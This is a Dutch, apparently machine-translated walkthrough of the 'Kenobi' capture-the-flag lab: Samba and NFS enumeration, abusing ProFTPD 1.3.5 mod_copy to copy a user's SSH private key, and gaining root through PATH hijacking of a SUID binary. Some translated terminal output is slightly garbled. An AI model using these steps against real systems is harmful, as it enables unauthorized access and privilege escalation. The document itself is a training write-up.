Intro
De Kenobi box zal de volgende onderwerpen behandelen:
- Opsomming van samba-aandelen
- Manipulatie van een kwetsbare versie van proftpd
- Manipulatie van padvariabelen voor privilege-escalatie
Opsomming
Nmap
Eerste Nmap scan:
De apache server op poort 80, ProFTPD’s versie op poort 21 en Samba shares krijgen mijn onmiddellijke aandacht.
Niets waardevols op poort 80, ook niet na het scannen naar andere mappen/bestanden met gobuster.
Laten we de smb shares en gebruikers opsommen met Nmap scripts:
PORT STATE SERVICE 445/tcp open microsoft-ds Host script resultaten: | smb-enum-shares: | account_used: guest | 10.10.100.215: | Type: STYPE_IPC_HIDDEN | Commentaar: IPC Service (kenobi server (Samba, Ubuntu)) | Gebruikers: 2 | Max gebruikers:
Het lijkt erop dat we lees/schrijftoegang hebben tot twee van de aandelen.
Laten we een van de aandelen bekijken:
smb: > ls . D 0 Wed Sep 4 12:49:09 2019 ... D 0 Wed Sep 4 12:56:07 2019 log.txt N 12237 Wed Sep 4 12:49:09 2019 9204224 blokken van grootte 1024. 6877100 blokken beschikbaar smb: \> get log.txt ┌──(kali㉿kali)-[~] └─$ cat log.txt
Genereren van publiek/privaat rsa sleutelpaar. Voer het bestand in waarin de sleutel moet worden opgeslagen (/home/kenobi/.ssh/id_rsa): Directory '/home/kenobi/.ssh' aangemaakt. Voer de wachtwoordzin in (leeg voor geen wachtwoordzin): Voer dezelfde wachtwoordzin opnieuw in: Uw identificatie is opgeslagen in /home/kenobi/.ssh/id_rsa. Uw publieke sleutel is opgeslagen in /home/kenobi/.ssh/id_rsa.pub. De belangrijkste vingerafdruk is: SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi De randomart van de sleutel is: ...
log.txt bevat informatie over het genereren van een private ssh-sleutel die zich in de standaardmap bevindt. Het bevat ook informatie over de ProFTPD-dienst.
NFS
Voordat we met de exploitatiefase beginnen, moeten we nog wat opsommen. Laten we het netwerkbestandssysteem (nfs) opsommen dat eerder op poort 111 is gevonden:
PORT STATE SERVICE 111/tcp open rpcbind | nfs-showmount: /var
Nu we weten dat het mogelijk is om de
/var
directory te mounten, laten we dit in gedachten houden en verder gaan met de exploitatiefase.
Exploitatie
Searchsploit
We hebben eerder de versie van proftpd gevonden, laten we kijken of er mogelijke exploits zijn:
----------------------------------------------------------- --------------------------------- Exploit Titel | Pad ----------------------------------------------------------- --------------------------------- ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit) | linux/remote/37262.rb ProFTPd 1.3.5 - 'mod_copy' Beveluitvoering op afstand | linux/remote/36803.py ProFTPd 1.3.5 - Bestandskopie | linux/remote/36742.txt ----------------------------------------------------------- ---------------------------------
De derde exploit, “36742.txt”, vertelt ons over het gebruik van de mod_copy module’s
SITE CPFT/SITE CPTO
commando’s. Het zou ons in staat moeten stellen deze commando’s ongeauthenticeerd te gebruiken voor het kopiëren van bestanden/directories van de ene plaats naar de andere op de server. Laten we verder gaan en ons verbinden metnc
naar poort 21 (ftp).
We weten dat de FTP service draait als de Kenobi gebruiker (uit het bestand op de share), en er is een ssh sleutel gegenereerd voor die gebruiker (log.txt).
220 ProFTPD 1.3.5 Server (ProFTPD Standaardinstallatie) [10 .10.100.215] SITE CPFR /home/kenobi/.ssh/id_rsa 350 Bestand of map bestaat, klaar voor bestemmingsnaam. SITE CPTO /var/tmp/id_rsa 250 Kopieer succesvol
We kunnen nu de directory lokaal mounten en de eerder gekopieerde sleutel downloaden.
┌──(kali㉿kali)-[~] └─$ ls -la /mnt/kenobiNFS totaal 56 drwxr-xr-x 14 root root 4096 4 sep 2019 . drwxr-xr-x 3 root root 4096 Feb 26 00:07 ... drwxr-xr-x 2 root root 4096 sep 4 2019 back-ups drwxr-xr-x 9 root root 4096 sep 4 2019 cache drwxrwxrwt 2 root root 4096 4 sep 2019 crash drwxr-xr-x 40 root root 4096 sep 4 2019 lib drwxrwsr-x 2 root staff 4096 apr 12 2016 local lrwxrwx 1 root root 9 sep 4 2019 lock -> /run/lock drwxrwxr-x 10 root crontab 4096 sep 4 2019 logboek drwxrwsr-x 2 root mail 4096 feb 26 2019 mail drwxr-xr-x 2 root root 4096 Feb 26 2019 opt lrwxrwx 1 root 4 sep 4 2019 run -> /run drwxr-xr-x 2 root root 4096 jan 29 2019 snap drwxr-xr-x 5 root root 4096 sep 4 2019 spool drwxrwxrwt 6 root root 4096 25 feb 23:54 tmp drwxr-xr-x 3 root root 4096 4 sep 2019 www
We hebben nu een netwerk mount op ons doelwit, net als een fysiek aangesloten apparaat op onze pc! We kunnen naar
/var/tmp
gaan, de private sleutel halen, en dan inloggen op Kenobi’s account.
kenobi@kenobi:~$ whoami kenobi
We moeten de private ssh-sleutels altijd lees-/schrijfrechten geven. Anders werkt het niet vanwege beveiligingsproblemen. Hier zijn de juiste rechten:
De .ssh-directory moet 700 rechten hebben (drwx——).
De openbare sleutel (.pub-bestand) moet 644 (-rw-r–r–) zijn.
De private sleutel (id_rsa) op de client host, en het authorized_keys bestand op de server, moeten 600 (-rw——-) zijn.
Privilege-escalatie
SUID
Laten we zoeken naar bestanden/programma’s met de SUID bit ingesteld:
SUID misbruik is een veel voorkomende privilege escalatie techniek die het mogelijk maakt om root toegang te krijgen door het uitvoeren van een root-eigen binary met SUID ingeschakeld. Een alternatief commando zou zijn:
find / -perm -u=s -type f 2>/dev/null
U kunt meestal GTFOBins controleren om te zien hoe u het bestand met de SUID bit ingesteld kunt misbruiken, maar /usr/bin/menu
is een op maat gemaakt programma. Daarom kunnen we het daar niet vinden. Laten we het uitvoeren en kijken wat het doet:
*************************************** 1. status check 2. kernel version 3. ifconfig ** Maak uw keuze :
Het voert enkele eenvoudige commando’s uit bij het kiezen. Laten we proberen te zien wat er in de backend gebeurt met het commando strings, dat zoekt naar voor mensen leesbare strings op een binary:
Dit laat zien dat de binaries worden uitgevoerd zonder hun volledige pad, zoals het niet gebruiken van /usr/bin/curl, /usr/bin/uname of /usr/sbin/ifconfig.
Het bestand zelf draait met rootprivileges, waardoor de uitgevoerde commando’s op dezelfde manier draaien.
*************************************** 1. statuscontrole 2. kernelversie 3. ifconfig ** Voer uw keuze in :3 # whoami root #
Eerst navigeren we naar het tmp pad, dan echo /bin/sh
naar een nieuw bestand genaamd ifconfig
. Stel daarna de juiste rechten in op onze nieuw aangemaakte ifconfig. Dan stellen we de PATH-variabele in op het huidige pad (tmp), dus /usr/bin/menu
zal onze PATH variabele gebruiken om de ifconfig
binary te vinden.
Ik hoop dat alles duidelijk is. Zo niet, laat het me weten in de commentaren hieronder.
0 Comments